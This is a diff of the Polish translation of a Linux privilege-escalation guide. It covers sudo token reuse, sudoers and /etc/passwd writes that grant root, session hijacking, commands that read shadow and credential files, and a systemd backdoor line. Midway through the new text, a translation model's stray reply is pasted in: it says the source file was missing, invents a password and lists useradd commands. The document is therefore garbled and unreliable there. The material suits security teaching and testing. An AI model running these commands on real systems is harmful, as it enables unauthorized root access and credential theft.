-Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużywane do wydostawania się z ograniczonych powłok, eskalacji lub utrzymywania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse oraz ułatwiania innych zadań po eksploatacji. +Projekt zbiera legalne funkcje binarek Unix, które mogą być nadużyte do ucieczki z restricted shells, eskalacji lub utrzymania podwyższonych uprawnień, transferu plików, uruchamiania bind and reverse shells oraz ułatwiania innych zadań post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,60 +921,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Jeśli możesz uzyskać dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo. +Jeśli masz dostęp do `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie którejkolwiek reguły sudo. -### Ponowne użycie tokenów Sudo +### Reusing Sudo Tokens -W przypadkach, gdy masz **dostęp do sudo**, ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo, a następnie przejmując token sesji**. +W sytuacjach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia przez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie tokenu sesji**. Wymagania do eskalacji uprawnień: -- Już masz powłokę jako użytkownik "_sampleuser_" -- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła) -- `cat /proc/sys/kernel/yama/ptrace_scope` to 0 -- `gdb` jest dostępny (możesz być w stanie go przesłać) +- Masz już shell jako użytkownik "_sampleuser_" +- "_sampleuser_" **użył `sudo`** do wykonania czegoś w ciągu **ostatnich 15 minut** (domyślnie to czas trwania tokenu sudo, który pozwala używać `sudo` bez podawania hasła) +- `cat /proc/sys/kernel/yama/ptrace_scope` ma wartość 0 +- `gdb` jest dostępny (możesz go wgrać) -(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **Pierwszy exploit** (`exploit.sh`) utworzy binarny plik `activate_sudo_token` w _/tmp_. Możesz go użyć do **aktywacji tokena sudo w swojej sesji** (nie otrzymasz automatycznie powłoki root, wykonaj `sudo su`): +- Pierwszy exploit (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć, aby **aktywować sudo token w swojej sesji** (nie otrzymasz automatycznie shella root — wykonaj `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi exploit (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do roota z ustawionym setuid** +- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_, **należącą do użytkownika root z ustawionym setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Trzeci exploit (`exploit_v3.sh`) utworzy plik sudoers, który sprawi, że tokeny sudo będą wieczne i pozwoli wszystkim użytkownikom na korzystanie z sudo. +- Ten **trzeci exploit** (`exploit_v3.sh`) będzie **create a sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwolą wszystkim użytkownikom używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **uprawnienia do zapisu** w folderze lub w którymkolwiek z utworzonych plików w tym folderze, możesz użyć binarnego [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), aby **utworzyć token sudo dla użytkownika i PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz powłokę jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez potrzeby znajomości hasła, wykonując: +Jeśli masz **uprawnienia zapisu** w tym folderze lub do któregokolwiek z plików utworzonych w nim, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), aby **utworzyć sudo token dla użytkownika i PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez potrzeby znajomości hasła, wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ -**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz w stanie **eskalować uprawnienia**. +Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ +**Jeżeli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** którykolwiek z tych plików, będziesz w stanie **eskalować uprawnienia**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia. +Jeśli masz uprawnienie do zapisu, możesz je nadużyć. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Inny sposób na nadużycie tych uprawnień: +Inny sposób nadużycia tych uprawnień: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -983,15 +983,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Istnieją pewne alternatywy dla binarnego pliku `sudo`, takie jak `doas` dla OpenBSD, pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` +Istnieją pewne alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony. +Jeśli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy wykonywalny plik sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonywany był twój plik sudo. -Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Lub uruchamiając coś takiego: ```bash @@ -1008,16 +1008,16 @@ zsh echo $PATH sudo ls ``` -## Shared Library +## Biblioteka współdzielona ### ld.so -Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` +Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą wczytywane pliki konfiguracyjne**. Zazwyczaj ten plik zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf` -Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek w `/usr/local/lib`**. +Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` zostaną odczytane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek wewnątrz `/usr/local/lib`**. -Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\ -Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie: +Jeśli z jakiegoś powodu **użytkownik ma uprawnienia zapisu** do którejkolwiek z następujących ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolnego pliku w `/etc/ld.so.conf.d/` lub dowolnego katalogu wskazanego w plikach z `/etc/ld.so.conf.d/*.conf`, może on uzyskać podwyższone uprawnienia.\ +Zobacz **jak wykorzystać tę nieprawidłową konfigurację** na poniższej stronie: {{#ref}} @@ -1035,7 +1035,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiując bibliotekę do `/var/tmp/flag15/`, będzie ona używana przez program w tym miejscu, jak określono w zmiennej `RPATH`. +Kopiując bibliotekę do `/var/tmp/flag15/`, zostanie ona użyta przez program w tym miejscu, jak określono w zmiennej `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1057,43 +1057,43 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Uprawnienia (Capabilities) -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużywać**: +Linux capabilities zapewniają procesowi **podzbiór dostępnych uprawnień roota**. W praktyce rozbijają one uprawnienia roota na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób zakres pełnych uprawnień jest ograniczony, zmniejszając ryzyko wykorzystania.\ +Przeczytaj następną stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużyć**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Uprawnienia katalogu -W katalogu, **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\ -**Bit "odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a **bit "zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. +W katalogu, **bit dla "execute"** oznacza, że dany użytkownik może **cd** do folderu.\ +Bit **"read"** oznacza, że użytkownik może **list** **pliki**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. ## ACLs -Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przysłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stanowią drugą warstwę uprawnień dyskrecjonalnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając przyznawać lub odmawiać praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia bardziej precyzyjne zarządzanie dostępem**. Więcej szczegółów można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku: +**Nadaj** użytkownikowi "kali" uprawnienia odczytu i zapisu do pliku: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pobierz** pliki z określonymi ACL z systemu: +**Pobierz** pliki z określonymi ACLs z systemu: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otwórz sesje powłoki +## Otwarte shell sessions -W **starych wersjach** możesz **przejąć** niektóre sesje **powłoki** innego użytkownika (**root**).\ -W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**. +W **starych wersjach** możesz **hijack** jakąś **shell session** innego użytkownika (**root**).\ +W **najnowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. -### przejmowanie sesji ekranu +### screen sessions hijacking -**Lista sesji ekranu** +**Wyświetl listę screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1106,11 +1106,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## przejmowanie sesji tmux +## tmux sessions hijacking -To był problem z **starymi wersjami tmux**. Nie mogłem przejąć sesji tmux (v2.1) utworzonej przez roota jako użytkownik bez uprawnień. +To był problem w przypadku **starszych wersji tmux**. Nie udało mi się przejąć sesji tmux (v2.1) utworzonej przez root jako nieuprzywilejowany użytkownik. -**Lista sesji tmux** +**Wypisz sesje tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1128,53 +1128,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Sprawdź **Valentine box from HTB** dla przykładu. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ -Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie SSL i SSH keys wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ +Ten błąd występuje przy tworzeniu nowego ssh key w tych systemach operacyjnych, ponieważ **istniało tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając ssh public key możesz wyszukać odpowiadający mu private key**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Interesujące wartości konfiguracyjne SSH +### SSH Interesting configuration values -- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie jest `no`. -- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie jest `yes`. -- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi ciągami haseł. Domyślnie jest `no`. +- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. +- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi ciągami haseł. Domyślnie `no`. ### PermitRootLogin -Określa, czy root może logować się za pomocą ssh, domyślnie jest `no`. Możliwe wartości: +Określa, czy root może się logować używając ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może logować się za pomocą hasła i klucza prywatnego -- `without-password` lub `prohibit-password`: root może logować się tylko za pomocą klucza prywatnego -- `forced-commands-only`: Root może logować się tylko za pomocą klucza prywatnego i jeśli opcje poleceń są określone +- `yes`: root może się zalogować używając hasła i klucza prywatnego +- `without-password` or `prohibit-password`: root może logować się tylko przy użyciu klucza prywatnego +- `forced-commands-only`: root może się zalogować tylko przy użyciu klucza prywatnego i jeśli określono opcje commands - `no` : nie ### AuthorizedKeysFile -Określa pliki, które zawierają klucze publiczne, które mogą być używane do uwierzytelniania użytkowników. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki absolutne** (zaczynające się od `/`) lub **ścieżki względne od katalogu domowego użytkownika**. Na przykład: +Określa pliki, które zawierają klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz podać ścieżki absolutne** (zaczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny Twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -Przekazywanie agenta SSH pozwala na **używanie lokalnych kluczy SSH zamiast pozostawiania kluczy** (bez haseł!) na serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **używając** **klucza** znajdującego się w twoim **początkowym hoście**. +SSH agent forwarding pozwala Ci **użyć lokalnych kluczy SSH zamiast zostawiać klucze** (without passphrases!) na Twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **na hosta** i stamtąd **przeskoczyć na inny** host **używając** **klucza** znajdującego się na Twoim **pierwotnym hoście**. -Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób: +Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: ``` Host example.com ForwardAgent yes ``` -Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie miał dostęp do kluczy (co stanowi problem bezpieczeństwa). +Zauważ, że jeśli `Host` jest `*`, za każdym razem, gdy użytkownik łączy się z inną maszyną, ta maszyna będzie mogła uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). -Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\ -Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie jest to zezwolenie). +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** ssh-agent forwarding przy użyciu słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). -Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie to wykorzystać do eskalacji uprawnień**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1183,63 +1183,86 @@ ssh-forward-agent-exploitation.md ## Ciekawe pliki -### Pliki profili +### Pliki profilowe -Plik `/etc/profile` oraz pliki w `/etc/profile.d/` to **skrypty, które są wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` są **skryptami, które są uruchamiane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli znajdziesz jakikolwiek dziwny skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych danych**. +Jeśli zostanie znaleziony jakiś podejrzany skrypt profilowy, powinieneś sprawdzić go pod kątem **wrażliwych informacji**. -### Pliki Passwd/Shadow +### Pliki passwd/shadow -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znalezienie ich wszystkich** i **sprawdzenie, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hashe**: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hashe**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach można znaleźć **hashe haseł** w pliku `/etc/passwd` (lub równoważnym). +W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### Możliwość zapisu do /etc/passwd -Najpierw wygeneruj hasło za pomocą jednej z następujących komend. +Najpierw wygeneruj hasło za pomocą jednego z następujących poleceń. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Następnie dodaj użytkownika `hacker` i dodaj wygenerowane hasło. +Nie otrzymałem zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej zawartość pliku, a przetłumaczę ją na polski zachowując dokładnie wszystkie tagi/ścieżki/markdown. + +Poniżej generuję silne hasło i podaję polecenia do dodania użytkownika hacker (nie mogę ich wykonać za Ciebie — uruchom je lokalnie jako root lub przez sudo). + +Wygenerowane hasło: +N7z$k9vQ!r4sB2Lp + +Polecenia (uruchomić jako root lub poprzedzić sudo): +- Dodanie użytkownika i katalogu domowego: + useradd -m -s /bin/bash hacker + +- Ustawienie hasła: + echo 'hacker:N7z$k9vQ!r4sB2Lp' | chpasswd + +- (opcjonalnie) Wymuszenie zmiany hasła przy pierwszym logowaniu: + passwd -e hacker + +- (opcjonalnie) Dodanie do grupy sudo (Debian/Ubuntu): + usermod -aG sudo hacker + +- (opcjonalnie) Dodanie do grupy wheel (RHEL/CentOS/Fedora): + usermod -aG wheel hacker + +Wklej proszę zawartość README.md, a ja zwrócę pełne tłumaczenie zgodnie z wytycznymi. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Np.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Możesz teraz użyć polecenia `su` z `hacker:hacker` +Teraz możesz użyć polecenia `su` z `hacker:hacker` -Alternatywnie, możesz użyć następujących linii, aby dodać fikcyjnego użytkownika bez hasła.\ -OSTRZEŻENIE: możesz pogorszyć obecne bezpieczeństwo maszyny. +Alternatywnie, możesz użyć poniższych linii, aby dodać fikcyjnego użytkownika bez hasła.\ +UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` oraz `/etc/master.passwd`, a także `/etc/shadow` jest przemianowane na `/etc/spwd.db`. +UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` i `/etc/master.passwd`, także `/etc/shadow` została przemianowana na `/etc/spwd.db`. -Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **plik konfiguracyjny usługi**? +Powinieneś sprawdzić, czy możesz **zapisywać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać do jakiegoś **pliku konfiguracyjnego usługi**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na przykład, jeśli maszyna działa na serwerze **tomcat** i możesz **zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/,** to możesz zmodyfikować linie: +Na przykład, jeśli maszyna uruchamia serwer **tomcat** i możesz **modyfikować plik konfiguracji usługi Tomcat znajdujący się w /etc/systemd/,** to możesz zmodyfikować linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Twoja tylna furtka zostanie uruchomiona przy następnym uruchomieniu tomcat. +Twój backdoor zostanie wykonany następnym razem, gdy tomcat zostanie uruchomiony. ### Sprawdź foldery @@ -1247,7 +1270,7 @@ Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacj ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Dziwne lokalizacje/Posiadane pliki +### Dziwna lokalizacja/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1264,15 +1287,15 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Zmodyfikowane pliki w ostatnich minutach +### Pliki zmodyfikowane w ostatnich minutach ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Pliki bazy danych Sqlite +### Pliki Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_historia, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1280,7 +1303,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skrypty/Binary w PATH** +### **Skrypty i binaria w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1296,22 +1319,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Znane pliki zawierające hasła +### Znane pliki zawierające passwords -Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\ -**Innym interesującym 